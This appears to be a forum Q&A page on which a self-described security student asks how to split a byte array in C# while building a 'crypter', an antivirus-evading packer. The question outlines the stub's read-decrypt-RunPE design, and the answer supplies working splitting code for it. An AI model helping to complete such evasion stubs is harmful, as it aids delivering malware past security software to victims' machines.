redcodefinal redcodefinal - 2 months ago 35
C# Question

Split a byte array at a delimiter

I'm having a bit of an issue and, the other questions here didn't help me much.

I am a security student and I am trying to write a crypter for a project. For those who don't know what it is you can read up on here.
http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html

Anyways, a quick explanation, crypters are programs meant to bypass antiviruses by encrypting a program and then affixing a "stub" which is a program that decrypts it, on the front. I'm having a very annoying issue with splitting my file up.

The big annoyance is that I have to put the crypted executable into a byte array, since strings kill certain characters in my crypted executable, making it unexecutable. To make matters worse I still have to "split" the exe and, this is where the trouble begins.

The basic idea of the stub is to:


  • Get the current exe path

  • Read all the bytes through File.ReadAllytes

  • Split the file at the delimiter, "EVILDELIMITER"

  • Get the last field (Since thats the crypted EXE)

  • Decrypt it using RC4

  • Run using RunPE.



I have everything working except the splitting part which, is the most annoying. How do I split a byte array at the delimiter? Is there an easier way to do this?

Here's the code for the stub I have so far.

public void main()
{
string outpath = RandomString(8) + ".exe";
byte[] key = { 33, 44, 55, 66, 77 };
string apppath = Assembly.GetEntryAssembly();
byte[] exe = File.ReadAllBytes(apppath);
string strseperate = "EVILSEPERATOREVIL";
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
byte[] seperator = encoding.GetBytes(strseperate);
//Split code should go here

exe = Decrypt(key, encrypted);
Process.Start(outpath);
}


Thanks for any help.

Answer
byte[] SeparateAndGetLast(byte[] source, byte[] separator)
{
  for (var i = 0; i < source.Length; ++i)
  {
     if(Equals(source, separator, i))
     {
       var index = i + separator.Length;
       var part = new byte[source.Length - index];
       Array.Copy(source, index, part, 0, part.Length);
       return part;
     }
  }
  throw new Exception("not found");
}

public static byte[][] Separate(byte[] source, byte[] separator)
{
    var Parts = new List<byte[]>();
    var Index = 0;
    byte[] Part;
    for (var I = 0; I < source.Length; ++I)
    {
        if (Equals(source, separator, I))
        {
            Part = new byte[I - Index];
            Array.Copy(source, Index, Part, 0, Part.Length);
            Parts.Add(Part);
            Index = I + separator.Length;
            I += separator.Length - 1;
        }
    }
    Part = new byte[source.Length - Index];
    Array.Copy(source, Index, Part, 0, Part.Length);
    Parts.Add(Part);
    return Parts.ToArray();
}

bool Equals(byte[] source, byte[] separator, int index)
{
  for (int i = 0; i < separator.Length; ++i)
    if (index + i >= source.Length || source[index + i] != separator[i])
      return false;
  return true;
}
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